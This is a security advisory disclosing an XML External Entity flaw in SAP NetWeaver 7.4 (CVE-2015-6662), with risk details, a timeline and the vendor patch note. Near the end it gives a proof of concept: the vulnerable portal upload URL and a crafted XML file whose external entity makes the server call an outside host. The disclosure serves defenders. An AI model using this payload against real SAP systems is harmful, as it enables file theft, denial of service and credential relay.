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SAP NetWeaver 7.4 XXE Injection Vulnerability
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Application: SAP NetWeaver Versions Affected: SAP NetWeaver 7.4, probably others Vendor URL: http://SAP.com Bugs: XML External Entity Send: 16.04.2015 Reported: 16.04.2015 Vendor response: 16.04.2015 Date of Public Advisory: 11.08.2015 Reference: SAP Security Note 2168485 Author: Roman Bezhan (ERPScan) Description 1. ADVISORY INFORMATION Title: SAP NetWeaver 7.4 Advisory ID: [ERPSCAN-15-018] Risk: Hight Advisory URL: http://erpscan.com/advisories/erpscan-15-018-sap-netweaver-7-4-xxe/ Date published: 11.08.2015 Vendors contacted: SAP 2. VULNERABILITY INFORMATION Class: XML External Entity [CWE-611] Impact: information disclosure, denial of service Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2015-6662 CVSS Information CVSS Base Score: 4.9 / 10 CVSS Base Vector: AV : Access Vector (Related exploit range) Network (N) AC : Access Complexity (Required attack complexity) Medium (M) Au : Authentication (Level of authentication needed to exploit) Single (S) C : Impact to Confidentiality Partial (P) I : Impact to Integrity None (N) A : Impact to Availability Partial (P) 3. VULNERABILITY DESCRIPTION 1) An attacker can read an arbitrary file on the server by sending a correct XML request with a crafted DTD to read the reply from the service. 2) An attacker can perform a DoS attack (for example, an XML Entity expansion attack). 3) An SMB Relay attack is a type of Man-in-the-Middle attack where an attacker asks a victim to authenticate into a machine controlled by the attacker, then relays the credentials to the target. The attacker forwards the authentication information both ways and gets access. 4. VULNERABLE PACKAGES SAP NetWeaver 7.4 Other versions are probably affected too, but they were not checked. 5. SOLUTIONS AND WORKAROUNDS To correct this vulnerability, install SAP Security note 2168485 6. AUTHOR Roman Bezhan (ERPScan) 7. TECHNICAL DESCRIPTION The vulnerability affects the functionality used by an administrator to import applications. An attacker can replace ApplicationDefinition.xml file with a malicious XML code. PoC Vulnerable URL http://IP:50000/irj/servlet/prt/portal/prteventname/upload/prtroot/com.sap.portal.landscape.access.LSXMLParse Malicious file <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://IP:PORT/"> %remote;]> <root/> 8. REPORT TIMELINE Send: 16.04.2015 Reported: 16.04.2015 Vendor response: 16.04.2015 Date of Public Advisory: 11.08.2015 # 0day.today [2024-11-15] #